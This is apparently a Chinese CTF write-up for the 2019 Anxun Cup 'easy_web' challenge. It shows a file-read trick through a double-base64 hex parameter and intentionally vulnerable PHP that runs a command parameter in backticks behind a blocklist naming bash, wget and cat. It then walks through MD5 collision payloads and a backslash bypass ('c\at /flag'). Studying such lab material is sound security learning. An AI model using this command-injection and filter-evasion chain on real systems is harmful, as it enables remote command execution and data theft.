ysoseri.us

技术内容 / 本科的一些学习笔记和wp / 安洵杯2019easy_web

安洵杯2019easy_web

相信img参数怎么来的就不用多说了

图片 1

就img里的base64解密两次之后是

3535352e706e67,16进制转字符串就是555.png

然后一个php页面的主页一般就是index.php

给它反着编码回去得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

(这里糊涂了,试了好几次,原来是要base64两次才行)

琢磨了一会发现有的网站十六进制字母默认小写,但是全大写才能得到想要的,而且中间不能有空格,就很坑人

图片 2

图片 3

塞进img参数里就能得到 图片 4(bushi

因为文本格式无法解析成图片所以图片裂了要看源码

图片 5

解密这串base64得到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !<mark> (string)$_POST['b'] && md5($_POST['a']) </mark>= md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

于是来到了你迷迷糊糊的md5环节

代码里对下一步有用的部分摘出来放到下面

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !<mark> (string)$_POST['b'] && md5($_POST['a']) </mark>= md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

一些过滤,和一个md5强比较,过了md5检测就能执行cmd参数的内容

MD5

图片 6

这里限制了string(字符串)类型,所以不能用数组绕过,考虑碰撞

我搜的wp里面给到一种很厉害的操作,说实话我也第一次见

fastcoll的项目:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
fastcoll的源码:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip

使用fastcoll生成字符串MD5碰撞

打CTF的时候会遇到诸如$a!=$b&&md5($a)===md5($b)的题。
这就要求我们找到这样的两个字符串a和b,内容不同,但md5值相同。这就涉及到md5的碰撞。
我们使用fastcoll来快速生成这种碰撞。
1.建立一个a.txt,内容如下:
图片 7
2.将这个文件拖到fastcoll_v1.0.0.5.exe上,等于使用fastcoll打开它。
3.fastcoll会自动生成两个文件:
图片 8
这两个文件内容不同,但是md5值是相同的。
然后我们写一个php脚本根据生成的文件生成碰撞的字符串:

<?php

function readmyfile($path){

$fh = fopen($path, "rb");

$data = fread($fh, filesize($path));

fclose($fh);

return $data;

}

$a = urlencode(readmyfile("E:/a_msg1.txt"));

$b = urlencode(readmyfile("E:/a_msg2.txt"));

if(md5((string)urldecode($a))===md5((string)urldecode($b))){

echo $a;

}

if(urldecode($a)!=urldecode($b)){

echo $b;

}

这里生成的a和b是已经经过url编码的:
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B

根据以上方法可以构建任意二进制文件,进而生成不同内容但是MD5值相等的字符串。

附脚本

<?php 
  function readmyfile($path){
  $fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("E:/a_msg1.txt"));
$b = urlencode(readmyfile("E:/a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
  echo $a;
}
if(urldecode($a)!=urldecode($b)){
  echo $b;
}

用url编码是因为存在不可见字符

然后用hackbar或者burpsuite传post参数进去, 为了不出现一大串base64加密的字符可以先把img参数去掉

图片 9

(这个截图里我先读的目录,没有直接读flag)

这里要注意红框里cmd的参数构造

接下来有个前面例会讲过的知识点

知识点

**1.php反引号执行:**php中用反引号扩起的变量echo出来会作为系统命令执行,即”将输出作为输入执行“

然后另一个知识点

**2.linux命令中可以加\**而不影响输出,所以甚至可以ca\t /fl\ag

执行出来的效果跟cat /flag是完全一样的

所以可以用c\at%20/flag来读flag

图片 10

cat的替代

另外,题目中正则匹配掉的

tac|nl|more|less|head|cat|od|grep都是可以替代cat使用来读取flag的

这里其实还遗漏了sort,用sort /flag也可以代替cat /flag